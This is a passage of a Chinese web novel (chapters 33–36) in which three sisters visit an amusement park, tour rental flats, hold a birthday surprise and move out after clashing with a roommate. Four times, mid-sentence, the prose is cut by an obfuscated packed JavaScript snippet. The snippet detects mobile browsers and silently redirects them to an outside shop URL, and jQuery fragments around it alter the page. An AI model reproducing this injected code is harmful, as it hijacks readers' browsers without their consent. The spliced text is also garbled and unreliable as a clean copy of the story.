满眼爱意的年轻妈妈正温柔地逗弄着怀里的小孩，穿着衬衫的爸爸则举着一台相机打算将这美好的一幕拍摄下来。 “以后我们也买个相机吧。小时候好多美好的瞬间都没记录下来，真可惜。”程兰收回目光，对程茉说道，语气里带着点失落。 程茉点头，想起了前世曾听母亲好几次念叨过，说她小时候长得白白嫩嫩的十分可爱，还留下过一张拍得极好的照片，只是可惜这照片也都在后来奔逃的时候不见了。 母亲说起那张照片时，语气里的遗憾浓郁得仿佛凝结成了一团厚厚的雾气，就这样笼罩在程茉的心头许多年。 后来程茉看到朋友们展示自己的婴儿照、幼儿照时，总是会默不作声地站在一旁。然后在她往后人生里的每一次美好快乐的时刻，程茉都带着执念般，努力地用手机将一切都尽可能地记录下来。 程兰从程莉手里将照片拿了回来，小心地放进包里收好。之后三人便继续按着路线，挨个将所有的游乐设施都体验了一番。 过山车上的惊恐尖叫，摩天轮上的惊艳感叹，碰碰车上的撞击吵闹……那些细碎纯粹的快乐一点点驱散了两人心底的失落，只留下一串串欢笑，以及满是温暖与光亮的金色记忆。 这家游乐园的规模到底不算大，等三人一一打卡完，时间才刚到中午十二点多。 程兰在路边的小摊贩买了三杯冰绿豆沙，三个人顶着满头汗水，一边走一边喝着。 “下午还要继续玩吗？”程兰一边努力吸着杯里残留的绿豆固体，一边含糊不清地问道。 程茉看了眼已经累得快走不动，正不停眨着眼睛的程莉，说：“也差不多了，反正都玩过了，我们先出去吃饭吧。” 于是吃过午饭之后，下午几人买了点吃的便回去休息了。 接下来的几天，程兰网店的订单越积越多，三人便没再出门，留在家里一起帮忙打包发货。期间程兰又去进了一次货，这次程茉跟她一起去了，也就没再遇到那位热心肠的男同学。 “这个房子还是有些小了。”刚陪程兰从邮局寄完一批货回来的程茉，看着屋里满地的灰尘和细碎垃圾，又拿起扫把开始扫地。 “我来吧。”程兰接过她手里的扫把，利落扫起垃圾，又拿拖布仔细拖过，“这段时间我找之前加的中介了解了不少房子，已经有几个还不错的选择了，打算明后两天抽空去看看，你要一起吗？” “可以啊。”程茉将切好的西瓜端到书桌上，颇有兴致地问道：“是多大的房子？在什么位置？离你的学校近吗？” 程兰被她一连串的问题问得愣了一下，心里忍不住想，程茉有时候比自己考虑问题还要全面细致，以至于她甚至会忍不住产生到底谁才是姐姐的错觉。 程兰将电脑拿过来，调出中介发的实拍图片，指着屏幕跟程茉说：“这个复式面积很大，虽然是顶楼，但有电梯，位置也是最好的，离学校和批发市场都比较近，交通也方便。” 顿了顿，程兰又补充道：“就是价格稍贵，月租要2000块。” 2000块的月租，即便放到十年后也不算小数目，更不要说和现在这个每月不到500块的单间相比了。 程茉点点头：“确实有一点贵，要是再招一个人的话，每个月的利润就要少很多了。” 程兰滑动鼠标调出第二套房源的图片：“这间离批发城也很近，但离学校就有点远了，等开学后去上课估计不太方便。不过房子本身倒也还行，也是两层，上面可以自住，下面能当工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689986|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室，一楼有两个房间，小一点的那间刚好还能当仓库用。” 从图片中看，这栋房子之前应该是个服装店，装修还不错，干净整洁，程茉开口问道：“这间月租多少？” “这个要稍微便宜些，”程兰答道，“它没第一套那么宽敞，离市中心也稍远一点，周边不是很繁华，所以房租每个月可以少个600块，但也不算低了。” “不过开工作室的话对人流量也没啥要求，只要安全就行。”程茉接道，又继续问：“还有其他的吗？” 程兰又切换到第三套房源：“还有这间，是个只有一层的普通两室一厅，但房租只要800块，整整便宜了一大半，离学校也相对近一点。” 她话锋一转，又补充道：“唯一的缺点就是它是楼梯房的5楼，搬货可能稍微麻烦些。然后这一栋是老式居民楼，要是招人过来做事，可能要小声点以免打扰到邻居。” 程茉心里大概有了抉择，看向程兰问道：“我觉得第二套性价比更高，不过姐你自己比较喜欢哪一个呢？” 程兰思索了一下，说道：“我还是更倾向于第三套。现在网店收益虽然不错，但到底还不稳定，租金少一点也算降低成本了。但还是等具体看过之后，再做最终决定吧。” “嗯，到时我陪你一起去看。” 程兰拿过手机：“那我等会问一下中介，看他什么时候有时间带我们去看房。” 等程兰和中介打过电话之后，确定了看房时间是第二天下午的四点半。定在这个时间主要是为了方便看室内的光线和周边邻里氛围。 考虑到程莉跟过去估计会觉得无聊，程兰这次便将她独自留在了出租屋这边。程茉还把自己的新手机留给了程莉，叮嘱她不要给任何人开门，有任何事就给程兰打电话。 “哎呀，你们放心吧，我知道怎么用了，有坏人来我就马上摁这个！”被教了好几遍怎么使用手机打电话的程莉有些无奈地保证。 “嗯，乖乖写作业，回来给你带好吃的。”程兰看了眼时间，又对还有些不太放心的程茉说，“我们走吧。” “拜拜！”程莉倒是半点没觉得自己被抛下了，反而带着点要马上享受独处时光的兴奋。 程兰和中介约在了第一套房子附近会面，两人下楼后便直接打了车过去。 到达目的地下车后，程兰便拿出手机先给中介打了个电话。 刚接通，旁边就快步走过来一个个子不高穿着短袖衬衫的男人：“你好，你就是程小姐吧，我是之前跟你联系过的看房中介，孙虎，你叫我小孙就行。” “孙哥你好，今天麻烦你了。”程兰看了眼明显比自己大了起码十岁的男人，笑着打了招呼。 “不麻烦不麻烦。”孙虎又看向程茉，“这位是？” 程兰便随口介绍说是自己的朋友，一起来看房的。 孙虎盯着程茉那张明显带着稚气的脸有些怀疑，却在对上她泛着冷意的沉静目光时倏然移开了视线，轻咳了一声后连忙领着两人往前走，一边快速介绍着： “程小姐，这套房可是我手里最抢手的房源了……” 34. 第 34 章 程茉一踏进第一套房，就理解了它高昂的租金从何而来。除了地理位置优越，一进门，通透明亮的窗户、干净的地板、整洁的墙面，以及崭新的家具，都在彰显着它的价值。 毫无疑问，程兰对它也是十分喜欢的。 “你看，这后面还有个小厨房，你们可以在这里做饭，燃气也有。”孙虎推开一扇小门，领着她们往后走，一边介绍着。 程茉走进去看了看，厨房设施也都齐全，还有抽油烟机，确实是很不错的房子。 孙虎又推开旁边另一扇小门，指着里面继续介绍道：“这是一楼的卫生间，二楼还有一个，就算住上一家三口也是完全没有问题的。” 一楼看过，几人又踏上靠墙的楼梯上了二楼。二楼的格局更简单，除了上来的小平台，剩下的就只有一间卧室和一个卫生间。卧室很大，里面床、衣柜等家具都有。程茉最喜欢的就是那扇大大的窗户，下午的阳光照进来，室内十分明亮。 除此之外，洗手间也很宽敞，甚至还放了一个小浴缸。 孙虎语气里也带上了点自信：“怎么样？还不错吧？虽说价格贵了点，但确实值。” 程兰摸了摸床边的实木梳妆台，问道：“确实还可以，就是这个价格没有再商量的空间了吗？” “这个真没办法，房东态度坚决，价格不能再降了。”孙虎解释道。 程茉注意到程兰眼里的遗憾，拉了拉她的手想说点什么，却被程兰用眼神制止了。 “那就再看看另外两个吧。”程兰对孙虎说道。 孙虎是自己开了车来的，便直接载着她们前往第二套房。 第二套房所在的社区，周边环境比第一套要稍微简陋些。虽说靠近批发城，周边也有商铺，但多是小本经营的早餐店、小吃店，或是平价服饰、家居用品这类零售小店，路上走动的人也不算多。 “要我说，这套房也是很不错的。”孙虎一边用钥匙开门，一边接着介绍，“上一任租客重新装修过，也维护得很好。你们看，这里还有不少能用的家具呢。” 进门后的空间确实不如前一套宽敞，但容纳两三个办公桌完全没问题。后面充当仓库的小房间有七八平方，还带了个小窗户。 “就是一楼没有卫生间，只能去二楼上，或者去附近的公共厕所。”孙虎一边补充，一边领着她们往楼上去。 上了二楼，程茉内心刚刚那点对前一套房的喜爱立马便被抛到了脑后，这间卧室比前一间要更温馨得多。 能看得出来，上一任租客应该也是个年轻女孩。地上铺着浅色木地板，墙壁雪白干净，还贴着不少雅致的文字和小清新图案，很有生活感。家具也都是实木的，保存得很好，看起来至少还有八九成新。 “这间装修得漂亮又干净，很适合你们这样年轻的女孩子居住。”孙虎在一旁乐呵呵地补充，“尤其是这个卫生间。” 随着孙虎的介绍和推门的动作，一间不大却五脏俱全的卫生间便呈现在众人面前。淋浴、洗漱台和蹲坑一应俱全，还配了个小洗衣机。最重要的是，卫生打扫得十分干净，几乎看不出什么使用过的痕迹。 而它那在这时难得一见的干湿分离格局，更是让程茉眼前一亮。 “后边这里还有个小阳台呢，你们在这里晾衣服也很方便。”孙虎又领着她们往旁边走去，随着阳台的门被打开，傍晚的微风吹了进来，很是惬意。阳台是半开放式的，栏杆由镂空花砖砌成，映衬着屋后的几棵樟树，一片绿意盎然，视野也很不错。 再往前方望去，不远处就是前几年新建的那几栋高耸的批发购物城。 孙虎又指着阳台左边不远处的那片小楼对两人说道：“而且住在这边你们啥也不用担心，维护批发城治安的执勤人员，有不少都住在这一块呢。所以这片的租户之间一向是十分和谐的。” 程茉此时内心已完全挑不出什么毛病，再望向程兰，果然看到对方眼里也满是藏不住的笑意。 “怎么样，这栋你们还满意吗？”孙虎转头望着他们问道。 程兰语气平淡地开口：“这套也不错吧，就是有点偏，还是将第三套一起看了再说吧。” 于是三人又驱车前往第三个小区。这次一下车，程茉便再次体会到了不小的落差感。 这里是一片老式小区，楼层大多是7层的矮楼，从外墙看也有些年份了。 孙虎带着他们走到其中一栋楼前，推开有些生锈的铁门，映入眼帘的是幽暗逼仄的楼梯。粗糙的灰墙上满是孩童们重重叠叠的涂鸦，杂乱得看不清具体形状。 等爬到5楼，程茉已经忍不住有些气喘吁吁，程兰倒还好，只是擦了擦额头上的汗珠。 孙虎正掏钥匙开门，对面隔着房门就传来大人呵斥小孩的声音，清晰得如在耳畔。 进入房间关上门后，那点声音还能隐隐约约听到。 房子本身其实还是不错的，老式楼房没有公摊，面积并不小，格局也方正。标准的两居室，一大一小两个卧室都朝南，客厅、厨房、洗手间一应俱全，还附带了个生活小阳台，很适合一家人居住。 但有了珠玉在前，即便这套房子的价格非常友好，程茉和程兰的内心还是没什么波动。 将几个房间一一看过、介绍完之后，孙虎便在客厅的凳子上坐了下来，询问两人的最终意见。 程茉望向程兰，语气里带上了几分挑剔：“第一套是还不错，就是价格实在高得离谱；第二套位置太偏，要开店的话，估计生意难起来；这一套呢，周边环境太乱，房子也老，爬楼还费劲。这么看下来，三套各有各的缺点啊。” 程兰也跟着摆出纠结的神色，转头对孙虎说：“是啊，孙哥，我们还是先回去再讨论考虑一下。另外，也麻烦你这边帮我们跟房东再争取争取价格，你看怎么样？” “哎呀，其实这三套房子虽各有缺点，但也各有优点嘛！不管是户型、位置还是性价比，都是很不错的。”孙虎拿过桌上不知放了多久的一张田字格作业纸扇着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704302|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风劝说。 程茉接着补充：“我们这次可是至少要租一年以上的，又不是短租，哪能随随便便下决定呢？你说是吧孙哥？” “那行，你们先回去考虑一下，等你们决定好了就打电话跟我说。租金这边我尽量帮你们争取，不过能不能成可不一定啊。”孙虎放下写满了歪歪扭扭笔画的纸张，站起身来。 程兰笑着道谢：“好，那就拜托孙哥你了，今天也麻烦你跑这一趟了。” “没事，要不要我送你们回去？”孙虎乐呵呵地摆手。 程兰礼貌地婉拒了，推说自己要和程茉在周围再看一看，顺便买点东西。 “行，那你们慢慢逛，决定好了随时给我打电话！” 下楼和孙虎道别后，程茉和程兰便走到外面街道叫了辆车回到了出租屋这边。 回家之前，程兰还记着要给程莉带好吃的，两人又在旁边的商店买了些零食和今天的晚饭。 程兰掂了掂从店员那接过来的两袋食物，顺手分给程茉一袋，边走边问：“所以你还是觉得第二套比较好，对吗？” “嗯，比较起来确实还是它最合适，一分钱一分货嘛。” 程兰笑了起来：“那就第二套好了，明天我就去跟中介确认租房合同吧。” 两人上了楼，继续讨论着等房子租下来后，那几个房间要怎么布置，添置哪些新家具，语气里满是希望和期待。 “啊，你们终于回来了，我都要无聊死了！”门一打开，程莉的人还没露面，声音便先传了过来。 “快来吃冰棒！”程兰把手里的东西放到客厅的桌子上，大声招呼道。 程莉已经跑了出来，精准地翻出三支小布丁，递给程兰程茉一人一支，然后麻利地拆开自己那支的包装袋大大咬了一口。 “嘶~真凉！”程莉张着嘴呼气，用含混不清的夸张语气说着，“我一下午写完了两天的暑假作业，又看了好多页书，差点都要睡着啦！” “这么勤奋啊！吃慢一点，明天还给你买。”程兰看着她笑道。 “啊，明天你们还要出去看房子啊？”程莉有些失望地问道。 程兰小口小口地咬着雪糕，一边耐心解释：“去签合同，小茉跟你一起待在家里。” “好吧……”程莉拖长了尾音不太情愿地应答。 忽然，门口传开开锁的声音，三人的话音戛然而止，目光齐齐地望向那扇铁门。 “呀，我没走错吧？” 进来的是一个梳着斜马尾眼睛涂得亮闪闪的年轻女子，看见程茉几人后一边惊叫了声，一边急急退出去看了眼门牌号，手里几乎到腰高的超大行李箱被拖拽得碰到门槛划出一道刺耳的声响。 “那个，小韩姐，这是我两个妹妹，放暑假了来我这玩两天。”程兰连忙站起来有些不好意思地解释道 “噢，吓死我了！”女子一边动作夸张地拍着自己的胸口，衣服上的金属饰品跟着丁零当啷地响起，“我还以为家里进贼了呢！” 35. 第 35 章 听到这话，程茉快速地将桌上的物品整理到袋子里收好，又用眼神示意程莉捡起了她脚边刚刚不小心掉下的包装纸。 程兰一边过去帮忙拖箱子，一边继续道歉：“不好意思啊，你上次说要回老家待一段时间，我以为你暂时不回来就没提前跟你说。” “忙完回来了，接下来我都在这边住。”女子瞟了眼程茉程莉，又打量了下程兰的脸，语气里满是惊讶：“你妹妹？亲生的？两个都是？” 程兰点了点头，将箱子放到她房间门口。 “天哪！你老家是哪个山村的啊，都不实行计划生育的吗？”女子一边从镶满了铆钉的包里翻找钥匙，一边提高声音惊叹。 程兰脸上原本带着些尴尬的笑意顿时淡了下去，转身拎起桌上的东西，一边留下句：“你好好休息，我们先回屋了。” 回到房间后，三人也没了玩乐的兴致，草草吃过晚饭之后，就各自安静下来忙自己的事情了。连程莉也乖乖地拿出作业本，开始写起作业来。 “明天她估计会起得很晚，你们上午动作尽量小一点，能不出房间就不出房间吧。”程兰一边在纸上梳理着明天与中介签合同要谈的具体事项，一边对两人叮嘱道。 “啊。”听到这话程莉不免有些失望。 “好的。”程茉瞥了一眼她，继续小声问程兰：“姐，你室友她们平时这边住得不多吗？你们关系还好吧？” 程兰停下笔，回答道：“还行吧。刚刚你见过的这个姐姐叫韩蕊，她是经常在这边住的，只是一到节假日就经常见不到人。而且她在这边住时也基本是昼伏夜出，白天大部分时间在她房间待着，晚上回来的时候我们也都睡着了。” 顿了顿，程兰又继续说道：“另一个室友小林姐在这边待的时间就更少一些，她在旁边的乡镇工作，周一到周五都住单位宿舍，基本是只有周六周日和寒暑假才过来这边。所以之前我在这里住得还是挺舒服的，说是合租，大部分时间都是我一个人在这儿。” “那怎么这几天也都没见到过另一位室友？”程茉有些疑惑。 “就是因为她们两个之前都说了七月要回老家，至少半个月不过来，我才想着让你们过来多玩几天的啊。”程兰叹了口气，“不过现在看来也有些不方便了。” 程茉点点头：“这工作室还是得赶紧定下来。” 第二天一大早，程兰带着程茉和程莉先下楼去附近的粉店吃了碗米粉作为早餐，然后便自己出门找中介去谈合同签协议了。 被留下来的两人则自己回了房间。程茉还是按照计划指导程莉先完成了当天的英语学习任务，并布置了好些作业，随后才坐到电脑前，继续赶自己的小说存稿。 等六千字写完，时间已经到了十一点多，快十二点了。程茉给程兰发了个消息，问她合同谈得怎么样，大概什么时候能回来。 程兰估计在忙，没有立即回复，程茉又走到门后，将耳朵贴近门板去听外面的动静，但并没听到任何声音，估计韩蕊还没起床。 电脑倒是响起了熟悉的咳嗽提示音，程茉走回去一看，果然是程兰回复的消息。程兰说中午要和房东、中介一起吃饭，再沟通下具体事项，估计要到下午才能回来，午饭只能让程茉和程莉两人自己解决了。 程茉快速地给程兰回了消息，让她放心，自己会安排好的。随后便拿起钱包，叫上程莉，轻轻打开房门，悄悄走了出去。 一直到下了楼，程莉还踮着脚躬着背，压着嗓子小声问：“大姐中午不回来吗？只有我们两个人去吃饭呀。” “不喜欢啊？”程茉拍了拍程莉让她站直，笑着问。 程莉吐了吐舌头，小声否认：“也没有……” 程茉带着程莉去了附近商场的快餐店。果然，待一看到招牌上那个只在电视里见过的红色老爷爷，闻着空气里诱人的炸鸡香味，程莉顿时便兴奋了起来。 接过菜单后，程茉挑着记忆里熟悉的经典套餐点了两份，和程莉找了个靠窗的座位坐了下来。 店里的人并不多，不一会儿，两人的套餐便被服务员送了过来。程茉尝了尝，感觉味道和记忆里的没太大变化。程莉却很喜欢，吃得狼吞虎咽，一边嚼着一边含糊不清地感叹：“好好吃啊！为什么我们家那边没有呢？不然我一定要把零花钱全拿来吃炸鸡！” 程茉回忆了一下，印象里小镇上直到她上大学前都没开上过连锁炸鸡店，不过市里这两年应该已经有了。 “等会儿我们直接回家吗？下午还是在房间里待着吗？好无聊呀。”程莉一边大口喝着可乐，一边晃着脚问道。 程茉笑着问她：“不回去，你不会忘了今天是什么日子吧？” “啊？什么日子啊？”程莉愣住了，嘴里的可乐还没咽下去，一脸惊讶地追问道。 “大姐的生日啊，我们等会儿去给她买个蛋糕吧。” 程莉猛地拍了下脑门，着急地站了起来：“啊？我竟然忘了！我还没来得及给她画贺卡呢，完了完了！” 程茉拿起餐盘里的纸巾给她擦了擦嘴，安慰道：“没事，等会儿我们去买张贺卡就是了，你在上面写上想说的话，来得及的。”事实上，这几天玩得太开心了，要不是刚刚看到隔壁桌的小女孩在庆祝生日，程茉自己也差点忘了这件事。 “那快点，我们赶紧走吧！”程莉跑过去拉着程茉就往外走。 “好了好了，慢一点吧。”程茉无奈地说道，脚步却顺着她的力道加快了几分。 程茉带着程莉先找到一家蛋糕店，跟店员预定了一个小蛋糕，约定一小时后过来取。随后，两人又找到了一家售卖贺卡的杂货店，可惜店里的贺卡款式不多，程莉挑挑拣拣，最终纠结着留下了印着黑白猪图案的那张，又跟程茉借钱给程兰挑了个小礼物。 好在程茉是早就为程兰准备好了礼物的，连同贺卡一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750146|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在来省城的时候就已经塞在了包里。之后两人又去买了些零食，便动身去取蛋糕了。 等两人拎着蛋糕和买好的东西回到出租屋，客厅里空无一人，茶几上却扔着两个没吃完的一次性饭盒，里面的食物还散发着味道。程茉看了眼韩蕊那间卧室的房门，依然紧闭着，不知道里面有没有人在。 两人对视一眼，放轻了脚步，快速回到了程兰的房间，直到房门彻底合上，才松了一口气。 程茉将蛋糕放到角落阳光照不到的地砖上，赶紧拿出手机给程兰发消息询问情况。程莉则连忙去自己书包里翻出画笔，坐在书桌前开始在贺卡上涂涂画画起来。 七月份的天气酷热难耐，房间里就像蒸笼一般，即便开着风扇，也没多大作用。程茉看着放在角落的蛋糕，有些担忧。这里也没有冰箱，时间久了估计蛋糕就要融化了。 好在程兰的消息很快就回复过来了，待看到上面说合同已经签好，大约还有半个小时就回来的信息后，程茉也终于松了口气。 “哎，画得怎么样了？大姐还有半个小时就回来哦。”程茉走到程莉，凑过去看了一眼她手中的贺卡。 “快好了快好了，还有一点点。”程莉有些急躁地回答，手中的笔却依然稳稳地在贺卡上快速移动着。 程茉不再打扰她，默默将房间简单收拾了一下，随后拿出为程兰准备的礼物仔细检查了一遍，确认无误后，轻轻放在了一旁。 “终于好了！”程莉长舒一口气，吹了吹贺卡上未干的墨迹，而后小心翼翼地将贺卡合上，放进透明的塑料壳里。随后，她又将刚刚在店里为程兰挑选的那枚小花发卡一同放了进去，仔细整理好。 “来了。”站在窗前的程茉看到了楼下熟悉的身影，连忙朝程莉使了个眼色。 程茉迅速将窗帘拉上，房间里顿时陷入一片昏暗，两人拿着蛋糕和礼物紧张而期待地站在了门口。 很快，外面响起了大门门锁转动的声音，紧接着是轻轻的脚步声，一步步靠近房间门口。 “咚咚。”清脆的敲门声响起，随后是程兰刻意放轻的嗓音：“我回来了，小茉、小莉，你们在房间里吗？” 随后，房门被轻轻推开，程茉和程莉立刻扑了上去，齐声喊道：“生日快乐！” “啊呀！你们两个真是吓死我了！”程兰推门的手猛地一顿，下意识后退半步，随后看到两张熟悉的笑脸，眼中也跟着浮现起一片温柔，嘴角不自觉地向上扬起。 程兰将房门关上，又走到窗前拉开窗帘，阳光瞬间了进来。她看着眼前捧着蛋糕和礼物的两人，语气里满是惊喜与动容：“我自己都忘了，没想到你们还记得。” “那当然了！”程莉得意地仰了仰头，语气里满是傲娇，半点没有自己也是中午才被提醒的心虚。 就在这时，外面忽然又响起了开门声，随后是一个粗犷的男声：“热死了，赶紧给我倒杯水来！” 36. 第 36 章 程兰脸上的笑意顿时凝固住了，她对着两个妹妹轻声叮嘱了一句：“你们在屋里待着别动，我出去看看怎么回事。” “我以前怎么没发现你还这么能装大爷呢？”韩蕊没好气的声音紧跟着响起，“现在都敢使唤我了是吧？” 程兰走了出来，带上了身后的门。她一眼就看见了坐在客厅将两只脚架在茶几上的身形健壮的男人，忍不住皱了皱眉，又看向坐在一旁正拿着一把折扇用力扇着风的韩蕊：“小韩姐，这是？” “你在家呢？”韩蕊转头看了她一眼，不以为意地道：“我朋友，过来歇一会。” “可是当初租房时大家说好了不能带异性过来住的……” 韩蕊不耐烦地打断了程兰的话音：“怎么就你能让妹妹过来住，我就不能带人回来是吧？”一边说着一边又斜睨了她一眼，“再说，我说了他要在这儿住吗？坐一会儿能怎样啊？” “呵，你这室友不会是有被害妄想症吧？”坐着的男人嗤笑了声，转过头来上下打量着程兰，“也不看看自己什么样……脸还勉强看得过去，就这身材啧啧啧……” 程兰被他肆意的目光看得很不舒服，再听到那些不堪入耳的话更是直犯恶心。 只是还不待程兰整理好语言反驳，韩蕊的声音却先响了起来：“袁勇鹏你嘴巴放干净点！你说吧，你跟着我回来到底想干嘛？” “哎呀蕊蕊，你不会还在生我气吧？”袁勇鹏将脚收了回来，站起来对着韩蕊赔笑道，“我不是说了吗，上次我那是被人骗了，以后保证不会再犯了。你都不知道你消失这半个月我是怎么过来的……” 考虑到屋里的两个妹妹，又看了眼面前一时半会结束不了的两人，程兰最终还是闭上了嘴，转身回房间了。 将门反锁了后，程兰才朝房间里有些担忧的两人露出一个安抚的笑：“没事，他们等会就会走的。” “嗯，姐你快来切蛋糕吧，等会都要化了。”程茉立马换上一脸轻松，将手里的小蛋糕递给程兰。 “要先吹蜡烛的！”见两个姐姐神色自然，程莉也松了口气，又开始惦记着过生日的仪式感了。 于是，三人围坐在书桌前，点着蜡烛小声地唱了半首生日快乐歌。 在程莉的催促下，程兰闭上眼睛默默许好了三个心愿。睁开眼后，只见蜡烛细微的辉光映照下，两双带着如出一辙的希冀的眼睛正亮晶晶地盯着她，程兰心里一暖，深吸一口气将蜡烛吹灭。 “谢谢你们！”程兰看着手里刚刚拆开的礼物和写满了话语的贺卡，声音里也忍不住带了些哽咽，“这是我过得最开心的一个生日。” 程兰说的是真心话，她从小到大就没正经过过几次生日。小的时候跟着奶奶时生日那天还能吃上一碗鸡蛋面，去街上买双新袜子挑个新头绳。父母回来后，生日就变成了一个只有自己会在乎的普通日子。再后来，甚至连程兰自己也不再期待这天的到来了。 也是前几年程茉大起来后，程兰开始会在这一天收到来自妹妹的祝福，有时是通过电话传来的一句有些别扭的“生日快乐”，有时是写在硬卡纸上的几行密密麻麻的小字。简略质朴，却还是每每令程兰忍不住会心一笑。 但今天，是程兰第一个有蛋糕有礼物有许愿环节的完整的生日。 “大姐别哭！以后每年我们都会给你过生日的！等我以后赚钱了买一个大大的房子送给你当生日礼物！”程莉上前抱住程兰，抬手摸了摸她的脸。 “好，我等着住你买的大房子。”程兰摸了摸她的头，又笑着看向站在一旁有些安静的程茉，朝她伸出手，“还有小茉，我们三个一起住。” 程茉可以用文字写出最肉麻的话语，却很不擅长当面表露情感。即便是重生回来，面对这样的场景，她还是有些轻微的不自在，也就习惯了充当沉默者的角色。 此刻看着伸向自己的那只手，程茉顿了顿，还是走上前握住了它，随后被拉着陷入了一个温暖的怀抱。 “对！我们三个一起！”程莉用力伸开双臂，紧紧抱住两个姐姐，嬉笑地喊道。 天气有些热，衣服被汗水黏黏糊糊地粘在身上，被紧紧抱着的感觉并不怎么舒适，程茉却半点不想挣脱。 等三人分吃完蛋糕准备出门吃晚饭，屋外的动静也早已不知何时停了下来。 程兰打开门，客厅里空荡荡的没有人在，连桌上的垃圾也不见了。 晚饭三人没有走远，就在附近的那家商场里找了家饭店，吃得差不多时，程兰的电话忽然响了起来。 程茉抬头看向拿出手机的程兰。 “妈妈打来的。”程兰看了眼屏幕，按了接通键。 “嗯，谢谢妈，今天吃了蛋糕的。” “挺好的，她们两个都很听话。” “回去吗？我等会问下她们。”程兰抬头看向对面的两人，“也玩得差不多了，这两天应该就回去了。” “好的，我会安排好的。” “我的话，看下个月有没有时间吧。” “好，那先这样，妈你和爸在家别太累了，照顾好身体。嗯，拜拜。” 等程兰一挂断电话，程莉就立马按捺不住了：“我不想回去，还没玩够呢……” “你总不能一直不回家吧，我这边接下来也有很多事情要忙的。”程兰无奈地叹了口气。 程茉的情绪不免也有些低落，又想起韩蕊和那个男人，担忧地开口：“姐你今天和房东谈得怎么样？什么时候搬过去？要不我们帮你先搬了家再回去吧。” “房东那边倒是说随时都能入住，钥匙也已经给我了。”程兰有些迟疑地接着说道，“只是妈妈的意思是希望你们两个早点回去，我东西也不多，自己多搬几趟没问题的。” “那就明天搬吧，我们帮你弄好了就回去。” 搬家的事情就这么定了下来，想着要收拾东西，结了账后，三人就立马回去了。 客厅里依然是静悄悄的，和离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759291|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开前没有任何区别。 程兰看了眼韩蕊紧闭的房门，让程茉程莉两人先进屋，自己走过去敲了敲门。 没有人应答，程兰有些犹豫，到底是放心不下，拿出手机拨通了通讯录里存着的那个号码。 “干什么？”对面传来了韩蕊不耐烦的声音，伴随着背景里嘈杂的音乐听不太清楚。 “没事，就是想问问你今天晚上还回来吗？”程兰将手机拿远了一些，“顺便跟你说一下，我明天要搬走了。” 对面好一会儿都没再响起说话声，只有喧闹的音乐和不知名歌手的嘶吼。 “怎么突然要搬走了？”韩蕊的声音被背景音压得有些闷闷的，“今天那是意外，以后他不会过来了，你没必要……” “嗯，不是因为这个，我之前就租好了新房子，这段时间我妹妹她们过来也给你添麻烦了，不好意思啊。” 韩蕊那边又沉默了好一会才开口，语气软了好几分：“有什么麻烦的……你别把我的话放心上，我没什么意思，你知道我说话就那样。” “嗯，那就这样，小韩姐你晚上回来的时候注意安全，我先去收拾东西了。”程兰说完就挂断了电话。 “诶！”韩蕊还想再说点什么，却只听到了对面传来的忙音。 除去货品，程兰的私人东西确实不多，不过两三个小时，三人就整理得差不多了。 程茉又和程莉去将自己的行李整理了下，程兰则和现任房东打了个电话沟通好了退租事宜。 听到程兰要搬走，房东很是不舍，挽留了好几句，最后还盛情邀请程兰以后有时间去她家里吃饭。 第二天吃过早饭，程兰便去街上找了个开三轮车的师傅，请他帮忙把行李送到新租的房子那边。 三人一趟趟地将大包小包搬到楼下，一大早的就热出了一身汗。 “好了，最后一趟了。”程兰看着变回一片空荡荡的房间，眼里还有些不舍。 “要走了吗？” 昨晚不知何时回来的韩蕊正倚在门口，一边打着哈欠一边揉着眼睛，乱蓬蓬的头发如一团枯草般罩在头顶。 “嗯，小韩姐再见。”程兰朝她笑了笑，“罗阿姨下午会过来收房，钥匙就麻烦你帮忙转交了。” “好。”韩蕊接过钥匙，欲言又止，“那个，之前我说了一些不好的话，还有我那个朋友，希望你不要在意，对不起。” 程兰没再说什么，只是朝她笑了笑，就带着程茉程莉下楼了。 